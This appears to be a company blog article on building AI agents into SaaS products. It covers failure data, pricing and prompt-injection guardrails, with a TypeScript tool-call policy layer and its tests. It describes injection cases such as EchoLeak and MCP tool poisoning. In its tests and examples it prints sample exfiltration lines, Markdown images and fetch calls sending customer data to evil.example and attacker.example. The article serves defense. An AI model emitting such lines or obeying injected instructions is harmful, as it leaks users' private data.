Contact
AIAug 12, 2026·20 min read

AI Agents in SaaS: Failure Data, Pricing and Guardrails We Tested

KT
Keplaris TeamUpdated Nov 19, 2026
Illustration of an AI agent moving between SaaS modules along guarded paths with approval gates

Two numbers frame every AI-agent conversation a SaaS team should be having in 2026. Gartner predicts that over 40% of agentic AI projects will be canceled by the end of 2027, citing escalating costs, unclear business value, and inadequate risk controls. The same research estimates that of the thousands of vendors now selling "agentic AI," only about 130 offer genuinely agentic capabilities. The rest are rebranding chatbots and RPA, a practice Gartner calls agent washing.

And yet the competitive pressure is real: Salesforce, SAP, ServiceNow, and Workday have all shipped named agent platforms, and Deloitte's 2026 TMT predictions frames agents as the force reshaping SaaS budgets and customer expectations. So the practical question for a SaaS founder isn't whether the category is coming. It's how to add agents to your product and land in the surviving 60%. As the data below shows, that is mostly a matter of scoping, economics, and security architecture, not model selection. On guardrails, the short version is that prompt injection can't be reliably filtered out, so the controls that hold are code between the model and its tools. We expanded that section on 2026-11-19 with the current research and a tool-call policy layer we wrote and tested that day.

First: What Actually Counts as an Agent

An agent is a system that takes a goal expressed in natural language, plans steps, executes them using tools (APIs, databases, code, actions inside your product), observes the results, and revises its plan, in a loop, without a human directing each step.

Hold that definition against what's being sold and two useful distinctions fall out.

Agent vs. agent-washed. A support bot walking a decision tree isn't an agent. A rebranded RPA script isn't an agent. Gartner's estimate of roughly 130 real vendors is the market-level version of a product-level truth: calling a feature an agent doesn't make it one, and buyers are learning the difference.

Agent vs. workflow: the distinction that should drive your roadmap. In Anthropic's engineering framing, workflows are systems where LLMs and tools are orchestrated through predefined code paths: your code controls the flow, and the model does bounded work at each step. Agents are systems where the model directs its own process and tool use. Workflows are predictable, debuggable, testable, and cheap. Agents buy flexibility at the price of all four.

Here's the part vendor content won't tell you: most successful "AI agent" features in SaaS products are workflows, and that's not a compromise. It's just good engineering. A "research agent" that always runs the same search, extract, synthesize, and format steps is a workflow with a good name. Start there. Promote a workflow to an agent only when the task genuinely can't be specified as a path.

What the Failure Data Actually Says (and What It Doesn't)

The most quoted statistic in enterprise AI is that 95% of GenAI pilots fail to deliver measurable ROI, from MIT's "GenAI Divide" report, which drew on interviews with leaders, an employee survey and an analysis of 300 public AI deployments.

A correction flag before you put it in a boardroom deck: the report itself calls its figures "directionally accurate based on individual interviews rather than official company reporting", and the 95% figure has been heavily mangled in retellings. It measured pilots with no measurable P&L impact under the study's specific definitions, not "AI doesn't work." Treat the number as directional.

What survives scrutiny is more useful than the headline anyway:

  • Failures are integration failures, not model failures. MIT calls it the learning gap: the inability to fit AI into workflows, processes, and culture. Gartner's cancellation reasons are the same finding from the other side. Proofs of concept driven by hype, misapplied, and never scoped for the real cost of production.
  • The budget goes to the wrong place. Spending concentrates on sales and marketing demos while the measurable returns show up in back-office and operations automation, which is the unglamorous, high-volume, recoverable-error work.
  • External help improves the odds. Buying from specialized vendors and building partnerships "succeed about 67% of the time", as Fortune reported the study, while internal builds succeed far less often. Self-serving for a product studio to quote, so calibrate accordingly, but it's the report's most concrete number.

The takeaway isn't "agents fail." It's that failure has a shape (unscoped ambition, missing integration, no error economics), and a shape is something you can engineer against.

The Klarna Arc: 18 Months of Production Agents, Compressed

No company has run the full experiment more publicly than Klarna, and its arc is the single most instructive case study available.

February 2024: Klarna's OpenAI-powered assistant handled 2.3 million conversations in its first month: two-thirds of all customer-service chats and the workload of roughly 700 human agents, with average resolution time dropping from 11 minutes to under 2.

Mid-2025: Klarna began rehiring human agents. Customer satisfaction had slipped, and CEO Sebastian Siemiatkowski said it plainly: "We focused too much on efficiency and cost... The result was lower quality, and that's not sustainable." The new model is hybrid: AI handles routine volume, while humans own disputes, complex refunds, and financial-hardship cases, with flexible remote agents assisted by AI in every conversation.

Three lessons, none of which is "the technology failed":

  1. The tech worked; the scope was wrong. The assistant genuinely resolved two-thirds of chats. The mistake was extending autonomy into interactions where empathy and judgment carry the value.
  2. Cost-per-ticket is a trap as a solo metric. Klarna optimized a cost line and paid on a trust line. Pair every efficiency metric with a quality metric (CSAT on agent-handled conversations, escalation quality) from day one.
  3. Design the human path as a feature, not a rollback. The end state (AI floor, human ceiling, clean handoffs) is what the initial architecture should have been. Handoff isn't failure; it's the product working.

The Decision Framework: Four Questions Before You Build

Adapted from Anthropic's agent-building guidance, which is unusually candid for vendor material; its first advice is to find the simplest solution and only increase complexity when needed:

QuestionWhat it's really askingIf the answer is no
Complexity: is the task multi-step and hard to fully specify?Could you draw the flowchart?Build the workflow, you just drew it
Value: does the outcome justify higher cost and latency?Will users wait, and will margins survive?Use a single LLM call or a cheaper model
Viability: is the model actually good at this task type?Have you tested on your real data, not the demo?Wait, or narrow the task until it passes
Cost of error: can mistakes be caught and recovered?Is there review, rollback, or a sandbox?Do not give this task autonomy

The fourth question does the most work. Run your product's surfaces through it and the roadmap sorts itself:

  • Good first agent surfaces: support triage and resolution (high volume, recoverable, measurable), onboarding and setup assistants, data enrichment and hygiene, internal ops copilots, report drafting. Errors are visible and reversible.
  • Surfaces that earn autonomy last or never: billing changes, destructive account actions, anything compliance-bound, anything that sends money or messages externally without review. These get workflows with human approval gates, indefinitely.

The Unit Economics Nobody Puts in the Deck

SaaS margins are built on near-zero marginal cost. Agents break that assumption: every interaction consumes tokens, which makes agent features a COGS line. The pricing model you wrap around them decides whether they compound or bleed.

Three economic facts to build on:

Model routing is a real lever. Anthropic's current lineup runs from $0.10 per million input tokens on Claude Haiku 5.5 to $8 on Claude Fable 5.2, and $0.50 to $40 per million output tokens (checked November 12, 2026). That's an 80x spread, and OpenAI's GPT-6 Luna to GPT-6 Astra is 100x. An agent architecture that routes classification, extraction, and easy turns to a small model and reserves the frontier model for hard reasoning can cut serving cost by more than half with no visible quality change. This is an engineering decision with margin consequences, so make it deliberately.

The market is converging on outcome-based pricing. Look at what shipped products actually charge: Intercom prices Fin at $0.99 per outcome, so you pay when the agent resolves the conversation or completes a configured action, not per attempt. Salesforce's Agentforce bills per conversation on top of Service Cloud seats starting at $175 per user per month. The direction of travel is clear: customers increasingly expect to pay for completed work, which means you need to know your cost per completed task, not per API call, before you can price anything.

Flat seats plus unbounded agent usage is a margin time bomb. If your product charges per seat and your new agent feature has per-use cost, a power user is now a loss center. The viable patterns are metered usage billing, credits, outcome pricing, or a capped fair-use allowance, chosen before launch, because repricing after adoption is far more painful. A capped allowance is easiest to enforce where the agent's calls enter your API, with per-tenant rate limits and plan quotas read from the same billing record. We've broken down the full build-and-run cost structure, including the run-cost line items most quotes omit, in our AI development cost guide.

Security: Design Around the Lethal Trifecta

Prompt injection is an attack in which text the model reads, such as a support ticket, email, web page or file, carries instructions the model follows as if they came from the user. It can't be reliably filtered out, so AI agent guardrails limit what a fooled agent can do: checks in code between the model and its tools, and human approval for the actions that matter.

The "responsibly" part of adding agents is mostly one concept, and a system prompt can't enforce it. Security researcher Simon Willison, who coined the term prompt injection, named it the lethal trifecta: an AI agent that combines

  1. access to private data (your customers' records, documents, messages),
  2. exposure to untrusted content (anything a third party could have written: emails, web pages, uploaded files, support tickets), and
  3. the ability to communicate externally (send email, call APIs, post webhooks)

is an exfiltration machine waiting for instructions: a poisoned support ticket can tell it to gather sensitive data and send it out. No software vulnerability is required, because the attack is content, and LLMs cannot reliably distinguish instructions from data.

What AI agent guardrails are, and why filters are not enough

AI agent guardrails are the controls that decide what an agent may read, which tools it may call with which arguments, and what it may show the user. Input filters, classifiers and system prompts lower the attack success rate but don't prevent prompt injection.

In Anthropic's prompt injection research on browser use (2025-11-24), an adaptive attacker with 100 attempts per environment succeeded against Claude Opus 4.5 8.0% of the time with the model alone and 1.4% with Anthropic's improved safeguards. Anthropic's own caveat: 1% "still represents meaningful risk", and "No browser agent is immune to prompt injection." That's a vendor measuring its own product, so read it as a best case.

Independent research is harsher on published defenses. In "The Attacker Moves Second" (2025-10-10, authors including researchers from OpenAI, Anthropic and Google DeepMind), adaptive attacks beat most of 12 defenses more than 90% of the time, and 500 human red-teamers beat all of them (figures via Simon Willison's summary; we haven't read the paper). As Willison put it, "in web application security 95% is very much a failing grade". So plan for the model being fooled, and decide what a fooled model can do.

The Agents Rule of Two: the trifecta as a per-session rule

Meta's Agents Rule of Two (2025-10-31) turns the trifecta into a per-session check: a session may combine at most two of [A] processing untrustworthy inputs, [B] access to sensitive systems or private data, and [C] changing state or communicating externally. A task that needs all three shouldn't run autonomously: it needs supervision, either human-in-the-loop approval "or another reliable means of validation". (Also via Willison's summary; we didn't open Meta's post.)

It's stricter than the trifecta: [C] includes changing state, so an agent that reads a poisoned ticket and can delete records counts even if it can't send anything. In SaaS terms, a support agent that reads tickets [A] and looks up customer records [B] gets no autonomous send or write [C], so its replies are drafts a human releases. An internal reporting agent that queries your database [B] and posts to your Slack [C] never reads customer-written text [A].

Prompt injection prevention in OWASP's guidance

In the OWASP Top 10 for LLM Applications 2025, LLM01:2025 Prompt Injection covers indirect injection, where the model "accepts input from external sources, such as websites or files", with least privilege, human approval for high-risk actions and segregated external content among its mitigations. LLM06:2025 Excessive Agency names three root causes (excessive functionality, excessive permissions and excessive autonomy). The Prompt Injection Prevention Cheat Sheet is the most hands-on: validate tool calls outside the model, use read-only accounts and narrow scopes, sanitize Markdown and HTML in output, and "Treat model output as untrusted at every downstream use." OWASP also published a separate Top 10 for Agentic Applications for 2026 on 2025-12-09.

Six design patterns that constrain an agent

Six design patterns limit what a prompt-injected agent can do. They come from "Design Patterns for Securing LLM Agents against Prompt Injections" (Beurer-Kellner et al., arXiv 2506.08837, June 2025), by authors at IBM, Invariant Labs, ETH Zurich, Google and Microsoft. Its principle: "once an LLM agent has ingested untrusted input, it must be constrained" so that the input can't trigger consequential actions. With a SaaS feature each (Willison's summary):

PatternHow it constrains the agentSaaS feature it fits
Action-SelectorThe model picks one action from a fixed list, and tool output never goes back to itSupport macro picker
Plan-Then-ExecuteThe model fixes its plan of tool calls before it reads untrusted content, so content can't add calls (it can still shape arguments)Scheduled report
LLM Map-ReduceEach untrusted item goes to an isolated sub-call that returns a constrained result, and code aggregatesClassifying uploaded invoices, each call returning only a category and an amount
Dual LLMA privileged model plans and calls tools but never sees untrusted text; a quarantined model reads it and has no toolsInbox triage
Code-Then-ExecuteThe model writes a program that calls tools, and the program runs under your policiesAnalytics questions run as sandboxed query plans
Context-MinimizationUntrusted text, the user's own prompt included, is removed from context before later stepsNatural language to SQL

The price is utility. CaMeL (Google, Google DeepMind and ETH Zurich, 2025), the fullest Code-Then-Execute design, enforces capability policies at every tool call. On the AgentDojo benchmark it solved 77% of tasks with provable security, against 84% undefended. Seven points of task success for a guarantee is usually worth paying on any feature that touches customer data.

Exfiltration channels teams forget

The obvious leak is a send tool. The quieter ones:

  • Markdown images. When your UI renders ![](https://attacker.example/p.png?d=...), the browser requests that URL, data and all, with no tool call. Strip them.
  • Reference-style links and allowlisted redirects. In EchoLeak (CVE-2025-32711), a zero-click flaw in Microsoft 365 Copilot found by Aim Labs, reference-style syntax (![alt][ref], URL on another line) got past the link filter, the email evaded the injection classifier by addressing the human recipient, and the last hop used an open redirect on a host the content security policy allowed (*.teams.microsoft.com).
  • MCP tool descriptions. With Model Context Protocol (MCP) servers, the model reads each tool's description and the user usually doesn't. Invariant Labs' tool poisoning research (2025-04-01) hid instructions there that made the model pass the user's SSH key out in a tool argument. A description can also change after you approved it (a rug pull) or redirect another server's trusted tool (shadowing). Pin server versions, hash tool descriptions and refuse to start when a hash changes, and keep third-party MCP servers out of sessions that hold private-data tools.

Our tool-call policy layer, tested

Keplaris wrote a tool-call policy layer (guard.ts) between an agent and its tools and tested it on 2026-11-19: 14 node:test tests on Node 24.20.0, all passing. The model proposes a call; decide() returns allow, deny or needs_approval. No model is in the loop: the tests type in the calls an injected model would propose, so they test the policy, not any model's resistance to injection.

The setup is a support agent for one tenant with seven tools: read tickets (untrusted input), look up customers and orders (private data, tenant-scoped), post to Slack and fetch URLs (external, host-allowlisted), and send email and delete records (irreversible). Reading a ticket taints the session. The approval and taint check, copied from the file (full code at the end):

  const gated = t.irreversible || (s.tainted && t.caps.includes("external_send"));
  if (gated) {
    const h = callHash(call);
    if (!approval || approval.callHash !== h) {
      return { verdict: "needs_approval", reason: t.irreversible ? "irreversible action" : "external send after untrusted input" };
    }
    if (s.usedApprovals.has(h)) return { verdict: "needs_approval", reason: "approval already used" };
    s.usedApprovals.add(h);
  }

What each rule did in the tests (each test runs in its own fresh session):

RuleTestResult
Unknown tool deniedattack 7deny
Tenant argument must equal the session's tenantattack 4deny
URL host must be on the allowlistattack 5 (fetch to evil.example)deny
Irreversible tools are held without an approvalattacks 1 (email), 8 (delete)needs_approval
Approval is bound to a SHA-256 hash of the exact callattack 2swapped recipient held, approved call allowed
Approvals work onceattack 3allow, then needs_approval
After untrusted input, external sends need approvalattack 6 (Slack post after reading ticket tk_9)needs_approval
Budget of 20 allowed callsattack 920 allows, then deny
Images and links to other hosts stripped from outputattacks 10, 11stripped
Open trifecta refused at setup; every decision loggedsetupthrows; log holds deny, allow
Legitimate work still runslegit 1 and 2allow

Only attack 6 tests the taint rule: the email in attack 1 is held because sending is irreversible, tainted or not. In attack 10, a reply with an evil.example image comes out of the sanitizer as Done. [image removed] See [docs](https://docs.acme.example/refunds).

What it doesn't cover, as written:

  • The host allowlist is per host. A host with an open redirect or attacker-controllable paths still leaks before the session is tainted. Our setup has this hole: any Slack webhook, an attacker's included, lives on hooks.slack.com. Pin full URL prefixes in production.
  • Taint is only as good as the labels. A customer record with an attacker-written name field is untrusted content arriving through a private_data tool.
  • The sanitizer handles Markdown only, not raw HTML <img> tags or bare URLs a renderer autolinks, so render agent output with both off.
  • An approval is only as good as its screen. It must come from your UI after a person saw the full arguments, never from the model; Invariant Labs showed that Cursor's confirmation dialog "does not show the full tool input" of a poisoned call.

How to prevent prompt injection from doing damage

You can't stop an agent from being fooled; you can limit the damage. Beyond the checks above:

  • Scope tools minimally. An agent that only needs order status gets a read_order_status tool, not database access. Filter retrieval to the tenant inside the query, as in our test of tenant-filtered vector search in pgvector.
  • Enforce in code, on the server. The same fail-closed check we use for plan entitlements, with the tenant taken from the session as in carrying tenant context to the database, never from the model.
  • Use vendor guardrails as one layer. OpenAI's agent safety guidance pairs its input guardrails with "always enable tool approvals" and "Design workflows so untrusted data never directly drives agent behavior". It is written for Agent Builder, which is scheduled to shut down on 2026-11-30; the advice holds on any stack.

Rollout: Shadow, Assist, Then Bounded Autonomy

The public production-agent success stories (and the Klarna reversal, read in the other direction) tend to follow the same staircase:

  1. Shadow mode. The agent produces answers or actions; humans still do the work. You measure agreement rate on real traffic with zero customer risk. This stage kills bad agent ideas cheaply, which is its job.
  2. Assist mode. The agent drafts, a human approves and sends. Throughput rises, error cost stays near zero, and every correction is training signal for your evaluation suite. Keep that suite in a runner you control; our OpenAI Evals alternatives and migration guide compares the options now that OpenAI's hosted Evals platform is shutting down.
  3. Bounded autonomy. The agent acts alone inside an explicit scope (intents it has proven it handles, thresholds it can't exceed), with automatic escalation to humans and honest metrics: resolution rate under a strict outcome definition (Intercom's "customer confirms resolved or doesn't return" is a good template; beware vanity "deflection" numbers), CSAT split by agent-handled vs. human-handled, cost per completed task, and escalation quality.

Each promotion is earned by measurement, not by demo. Teams that skip to stage three are the ones writing the cancellation memos Gartner is counting.

How We Build This at Keplaris

Our automation and AI systems practice is deliberately workflow-first: we've written before about where automation actually pays off, and our answer to "should this be an agent?" is no more often than clients expect. A scoped workflow that ships in weeks and holds its margins beats an agent that demos well and dies in the risk review. When the four-question framework does say agent, the build order is the one above: minimal tool scope, trifecta-aware architecture, staged rollout, and cost-per-task instrumentation from the first deploy. For the broader model-and-orchestration landscape this all sits in, see our 2026 AI wave briefing.

If you're weighing an agent feature, or holding a quote that promises one in four weeks with none of the above mentioned, talk to us. We'll run your use case through the framework honestly, including the version where the right answer is a workflow at a third of the price.

Full code and output

Three files, run on 2026-11-19. guard.ts and guard.test.ts need Node 22.18+ or 24+ (we used 24.20.0) and no dependencies: put them in one folder with the package.json below and run node --test guard.test.ts.

guard.ts

// guard.ts: a policy layer between an AI agent and its tools. The model proposes a tool call;
// this code decides allow / deny / needs_approval. No model in the loop, so a prompt injection
// can't talk it out of its rules (it can still use whatever those rules allow; see the limits).
// Node 22.18+ / 24: node --test guard.test.ts
import { createHash } from "node:crypto";

export type Cap = "private_data" | "untrusted_input" | "external_send";

export interface ToolDef {
  caps: Cap[];
  irreversible?: boolean;      // sending, deleting, paying, publishing
  tenantArg?: string;          // arg that must equal the session's tenant
  urlArgs?: string[];          // args whose host must be on the allowlist
}

export type Verdict = "allow" | "deny" | "needs_approval";
export interface Call { tool: string; args: Record<string, unknown> }
export interface Approval { by: string; callHash: string }
export interface Decision { verdict: Verdict; reason: string }

export interface Session {
  tenantId: string;
  tools: Record<string, ToolDef>;
  allowedHosts: Set<string>;
  maxCalls: number;
  calls: number;
  tainted: boolean;            // has untrusted content entered the context?
  usedApprovals: Set<string>;
  log: { at: string; call: Call; decision: Decision }[];
}

// Stable hash of the exact call, so an approval covers these args and nothing else.
export function callHash(c: Call): string {
  const sorted = Object.fromEntries(Object.entries(c.args).sort(([a], [b]) => a.localeCompare(b)));
  return createHash("sha256").update(JSON.stringify([c.tool, sorted])).digest("hex");
}

// Refuse to build an open lethal trifecta. If the tool set can read private data, read untrusted
// content and send externally, every sender must be irreversible (always gated) or limited to
// allowlisted hosts (and decide() still gates it once the session is tainted).
export function createSession(tenantId: string, tools: Record<string, ToolDef>,
    opts: { allowedHosts?: string[]; maxCalls?: number } = {}): Session {
  const caps = new Set(Object.values(tools).flatMap(t => t.caps));
  const open = Object.entries(tools)
    .filter(([, t]) => t.caps.includes("external_send") && !t.irreversible && !t.urlArgs?.length)
    .map(([n]) => n);
  if (caps.size === 3 && open.length) {
    throw new Error(`lethal trifecta: ${open.join(", ")} can send externally with no gate and no host allowlist`);
  }
  return { tenantId, tools, allowedHosts: new Set(opts.allowedHosts ?? []), maxCalls: opts.maxCalls ?? 20,
           calls: 0, tainted: false, usedApprovals: new Set(), log: [] };
}

export function decide(s: Session, call: Call, approval?: Approval): Decision {
  const d = rule(s, call, approval);
  s.log.push({ at: new Date().toISOString(), call, decision: d });
  return d;
}

function rule(s: Session, call: Call, approval?: Approval): Decision {
  const t = s.tools[call.tool];
  if (!t) return { verdict: "deny", reason: `unknown tool ${call.tool}` };
  if (s.calls >= s.maxCalls) return { verdict: "deny", reason: `call budget of ${s.maxCalls} spent` };
  if (t.tenantArg && call.args[t.tenantArg] !== s.tenantId) {
    return { verdict: "deny", reason: `tenant mismatch on ${t.tenantArg}` };
  }
  for (const a of t.urlArgs ?? []) {
    let host = "";
    try { host = new URL(String(call.args[a])).hostname; } catch { /* not a URL */ }
    if (!s.allowedHosts.has(host)) return { verdict: "deny", reason: `host ${host || "(invalid)"} not on allowlist` };
  }
  const gated = t.irreversible || (s.tainted && t.caps.includes("external_send"));
  if (gated) {
    const h = callHash(call);
    if (!approval || approval.callHash !== h) {
      return { verdict: "needs_approval", reason: t.irreversible ? "irreversible action" : "external send after untrusted input" };
    }
    if (s.usedApprovals.has(h)) return { verdict: "needs_approval", reason: "approval already used" };
    s.usedApprovals.add(h);
  }
  s.calls++;
  return { verdict: "allow", reason: gated ? `approved by ${approval!.by}` : "in scope" };
}

// Call after a tool runs: reading untrusted content taints the rest of the session.
export function recordResult(s: Session, tool: string): void {
  if (s.tools[tool]?.caps.includes("untrusted_input")) s.tainted = true;
}

// Strip markdown images and links to hosts off the allowlist before rendering model output.
// A rendered image URL is an outbound request: ![](https://evil.example/?d=<secret>) leaks data.
// Reference-style definitions ([r]: https://...) are checked too: EchoLeak used them to get past a link filter.
export function sanitizeOutput(text: string, allowedHosts: Set<string>): string {
  const ok = (url: string) => { try { return allowedHosts.has(new URL(url).hostname); } catch { return false; } };
  text = text.replace(/^\s*\[[^\]]+\]:\s*<?(\S+?)>?(\s+.*)?$/gm, (m, url: string) => ok(url) ? m : "");
  return text.replace(/!?\[([^\]]*)\]\(([^)\s]+)[^)]*\)/g, (m, label: string, url: string) => {
    try { if (allowedHosts.has(new URL(url).hostname)) return m; } catch { /* relative or invalid */ }
    return m.startsWith("!") ? "[image removed]" : label;
  });
}

guard.test.ts

// 14 tests: 11 tool calls or outputs a prompt injection could produce, 2 legitimate calls that must still work, 1 setup check.
// The "model" here is us typing the call it would propose; the guard never sees the prompt.
import { test } from "node:test";
import assert from "node:assert/strict";
import { createSession, decide, recordResult, sanitizeOutput, callHash, type ToolDef } from "./guard.ts";

// A support agent for tenant t_acme: reads tickets (untrusted), looks up customers (private),
// posts to the team's own Slack (external, host-limited), emails customers and deletes records (irreversible).
const tools: Record<string, ToolDef> = {
  read_ticket:     { caps: ["untrusted_input"] },
  get_customer:    { caps: ["private_data"], tenantArg: "tenantId" },
  get_order_status:{ caps: ["private_data"], tenantArg: "tenantId" },
  post_webhook:    { caps: ["external_send"], urlArgs: ["url"] },
  fetch_url:       { caps: ["untrusted_input", "external_send"], urlArgs: ["url"] },
  send_email:      { caps: ["external_send"], irreversible: true },
  delete_record:   { caps: ["private_data"], irreversible: true, tenantArg: "tenantId" },
};
const hosts = ["hooks.slack.com", "docs.acme.example"];
const fresh = () => createSession("t_acme", tools, { allowedHosts: hosts, maxCalls: 20 });

test("legit 1: in-scope read is allowed", () => {
  const s = fresh();
  assert.equal(decide(s, { tool: "get_order_status", args: { tenantId: "t_acme", orderId: "o_1" } }).verdict, "allow");
});

test("legit 2: team Slack post before any untrusted input is allowed", () => {
  const s = fresh();
  assert.equal(decide(s, { tool: "post_webhook", args: { url: "https://hooks.slack.com/services/T/B/x", text: "new ticket" } }).verdict, "allow");
});

test("attack 1: injected ticket asks to email customer data out; email is gated", () => {
  const s = fresh();
  decide(s, { tool: "read_ticket", args: { id: "tk_9" } }); recordResult(s, "read_ticket");
  const d = decide(s, { tool: "send_email", args: { to: "attacker@evil.example", body: "customer list" } });
  assert.equal(d.verdict, "needs_approval");
});

test("attack 2: approval for one recipient does not cover a swapped recipient", () => {
  const s = fresh();
  const approved = { tool: "send_email", args: { to: "jane@customer.example", body: "your refund" } };
  const approval = { by: "agent-ops@acme", callHash: callHash(approved) };
  const swapped = { tool: "send_email", args: { to: "attacker@evil.example", body: "your refund" } };
  assert.equal(decide(s, swapped, approval).verdict, "needs_approval");
  assert.equal(decide(s, approved, approval).verdict, "allow");
});

test("attack 3: approval cannot be replayed", () => {
  const s = fresh();
  const c = { tool: "send_email", args: { to: "jane@customer.example", body: "hi" } };
  const approval = { by: "agent-ops@acme", callHash: callHash(c) };
  assert.equal(decide(s, c, approval).verdict, "allow");
  assert.equal(decide(s, c, approval).verdict, "needs_approval");
});

test("attack 4: cross-tenant lookup is denied", () => {
  const s = fresh();
  assert.equal(decide(s, { tool: "get_customer", args: { tenantId: "t_globex", id: "c_1" } }).verdict, "deny");
});

test("attack 5: exfiltration through a fetched URL is denied", () => {
  const s = fresh();
  const d = decide(s, { tool: "fetch_url", args: { url: "https://evil.example/collect?d=jane%40customer.example" } });
  assert.equal(d.verdict, "deny");
});

test("attack 6: Slack post after reading a ticket needs approval", () => {
  const s = fresh();
  decide(s, { tool: "read_ticket", args: { id: "tk_9" } }); recordResult(s, "read_ticket");
  assert.equal(decide(s, { tool: "post_webhook", args: { url: "https://hooks.slack.com/services/T/B/x", text: "dump" } }).verdict, "needs_approval");
});

test("attack 7: a tool the agent was never given is denied", () => {
  const s = fresh();
  assert.equal(decide(s, { tool: "run_sql", args: { q: "select * from customers" } }).verdict, "deny");
});

test("attack 8: delete without approval is held", () => {
  const s = fresh();
  assert.equal(decide(s, { tool: "delete_record", args: { tenantId: "t_acme", id: "c_1" } }).verdict, "needs_approval");
});

test("attack 9: a looping agent stops at the call budget", () => {
  const s = createSession("t_acme", tools, { allowedHosts: hosts, maxCalls: 20 });
  const c = { tool: "get_order_status", args: { tenantId: "t_acme", orderId: "o_1" } };
  for (let i = 0; i < 20; i++) assert.equal(decide(s, c).verdict, "allow");
  assert.equal(decide(s, c).verdict, "deny");
});

test("attack 10: markdown image exfiltration is stripped from output", () => {
  const out = "Done. ![](https://evil.example/p.png?d=c_1,jane@customer.example) See [docs](https://docs.acme.example/refunds).";
  assert.equal(sanitizeOutput(out, new Set(hosts)), "Done. [image removed] See [docs](https://docs.acme.example/refunds).");
});

test("attack 11: reference-style image exfiltration is stripped too", () => {
  const out = "Summary ready. ![logo][r1]\n\n[r1]: https://evil.example/l.png?d=jane@customer.example";
  const clean = sanitizeOutput(out, new Set(hosts));
  assert.ok(!clean.includes("evil.example"));
});

test("setup: an open trifecta is refused, and every decision is logged", () => {
  assert.throws(() => createSession("t_acme", {
    read_inbox: { caps: ["untrusted_input", "private_data"] },
    http_post: { caps: ["external_send"] },
  }), /lethal trifecta: http_post/);
  const s = fresh();
  decide(s, { tool: "run_sql", args: {} });
  decide(s, { tool: "get_order_status", args: { tenantId: "t_acme", orderId: "o_1" } });
  assert.deepEqual(s.log.map(e => e.decision.verdict), ["deny", "allow"]);
});

package.json

{ "private": true, "type": "module" }

Test output, 2026-11-19

Per-test durations are not included.

✔ legit 1: in-scope read is allowed
✔ legit 2: team Slack post before any untrusted input is allowed
✔ attack 1: injected ticket asks to email customer data out; email is gated
✔ attack 2: approval for one recipient does not cover a swapped recipient
✔ attack 3: approval cannot be replayed
✔ attack 4: cross-tenant lookup is denied
✔ attack 5: exfiltration through a fetched URL is denied
✔ attack 6: Slack post after reading a ticket needs approval
✔ attack 7: a tool the agent was never given is denied
✔ attack 8: delete without approval is held
✔ attack 9: a looping agent stops at the call budget
✔ attack 10: markdown image exfiltration is stripped from output
✔ attack 11: reference-style image exfiltration is stripped too
✔ setup: an open trifecta is refused, and every decision is logged
ℹ tests 14
ℹ suites 0
ℹ pass 14
ℹ fail 0
ℹ cancelled 0
ℹ skipped 0
ℹ todo 0

Frequently asked questions

What is an AI agent in a SaaS product?

An AI agent is a system that takes a goal in natural language, plans a sequence of steps, executes them using tools (APIs, databases, code, your product's own actions), observes the results, and revises its plan, in a loop, without a human directing each step. That definition matters because much of what's marketed as an agent isn't one: Gartner estimates only about 130 of the thousands of vendors selling 'agentic AI' offer genuinely agentic capabilities, with the rest rebranding chatbots, RPA, and scripted assistants, a practice it calls agent washing. Many valuable AI features in SaaS products are actually workflows, meaning LLM steps orchestrated along paths your code controls, and that's often the better design.

Should I build an AI agent or an automated workflow?

Default to a workflow, and promote to an agent only when the task demands it. A workflow orchestrates LLM calls along code paths you control: predictable, debuggable, and cheaper. An agent lets the model direct its own process: flexible, but slower, costlier, and harder to test. Four questions decide it, adapted from Anthropic's agent-building guidance: Is the task genuinely multi-step and hard to fully specify in advance? Does the outcome justify higher cost and latency? Is the model actually capable at this task type? And can errors be caught and recovered from? If any answer is no, build the workflow. Most successful 'agent' features in SaaS products today are workflows with good UX.

Why do most AI agent projects fail?

Not because the models are too weak. Gartner attributes the projected 40%+ cancellation rate to escalating costs, unclear business value, and inadequate risk controls: mostly hype-driven proofs of concept that were never scoped for production. MIT's widely cited GenAI Divide report (the source of the '95% of pilots fail' statistic, which the report itself calls 'directionally accurate based on individual interviews rather than official company reporting') found the same pattern: failures are integration and workflow failures, a 'learning gap' between the tool and the organization, not model failures. Its most actionable finding: buying from specialized vendors and building with partners succeeded about 67% of the time, and internal builds far less often.

How much does it cost to add an AI agent to a SaaS product?

Two cost lines matter, and most planning covers only the first. The build typically runs from tens of thousands of dollars for a scoped workflow-style feature to $50,000 to $150,000 or more for a production agent with tool access, evaluation, and monitoring. The second line is marginal cost: every agent interaction consumes tokens, which makes agents a COGS item in a business used to near-zero marginal cost. List prices on the current Anthropic and OpenAI models span roughly $0.10 to $10 per million input tokens and $0.50 to $50 per million output tokens (checked November 12, 2026), so routing easy tasks to cheaper models is a real economic lever. Shipped products show where pricing lands: Intercom prices its Fin agent at $0.99 per resolved outcome, while Salesforce's Agentforce bills per conversation on top of Service Cloud seats.

How do you add AI agents to a SaaS product safely?

Design around the lethal trifecta, Simon Willison's name for the combination that turns an agent into an exfiltration tool: access to private data, exposure to untrusted content, and the ability to communicate externally. Meta's Agents Rule of Two makes it a per-session rule: at most two of untrusted input, sensitive data and the ability to change state or send externally, and a task that needs all three needs supervision, such as human approval. Then enforce it in a policy layer in code that checks every tool call (tools, tenant, hosts, approvals bound to the exact call) and strips untrusted links and images from output. In a 14-test check Keplaris ran on 2026-11-19, such a layer denied, held or stripped all 11 injection-style calls and outputs and let both legitimate calls through. It is deterministic code with no model in the loop, so the test checks the policy, not a model's resistance to injection. Roll out in stages: shadow mode, human-approved mode, then bounded autonomy.

What are AI agent guardrails?

AI agent guardrails are the controls on what an agent can read, which tools it can call with which arguments, and what it can show users. Input filters, classifiers and system prompts reduce prompt injection but don't prevent it: in browser-use research Anthropic published on 2025-11-24, an adaptive attacker still succeeded 1.4% of the time against Claude Opus 4.5 with improved safeguards, down from 8.0% for the model alone, and Anthropic says no browser agent is immune. The guardrail that holds is deterministic code outside the model, a policy layer that checks every proposed tool call against the session's tools, tenant, allowed hosts and approvals, so a fooled model can only do what the policy allows.

Next articleWordPress vs Headless CMS: What the Field Data Says and Which to Choose

Get in touch.

Whether you have questions or just want to explore what's possible, we're here to help.